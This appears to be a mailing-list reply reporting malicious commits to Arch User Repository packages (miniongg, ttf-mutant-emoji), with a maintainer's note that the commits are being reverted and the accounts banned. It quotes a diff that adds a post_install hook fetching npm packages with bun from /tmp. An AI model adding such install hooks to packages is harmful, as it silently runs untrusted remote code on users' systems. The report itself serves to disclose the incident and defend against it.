miniongg has had a suspicious update: ``` +post_install() {{ + cd /tmp + bun add minimist js-digest +}} ``` See: https://aur.archlinux.org/cgit/aur.git/commit/?h=miniongg&id=58250f380c60f31... ttf-mutant-emoji even overwrites my identity See: https://aur.archlinux.org/cgit/aur.git/commit/?h=ttf-mutant-emoji&id=530ea14... ttf-mutant-emoji: https://aur.archlinux.org/packages/ttf-mutant-emoji miniongg: https://aur.archlinux.org/packages/miniongg -- txtsd https://ihavea.quest On 6/11/26 11:17 PM, Jonathan Grotelüschen wrote:

Hi everyone,

we’re working hard to reset/delete all malicious commits and ban the accounts.

If you find more malicious packages, please **send them as a reply to this email** to keep them all in one thread.

Thanks!

-- tippfehlr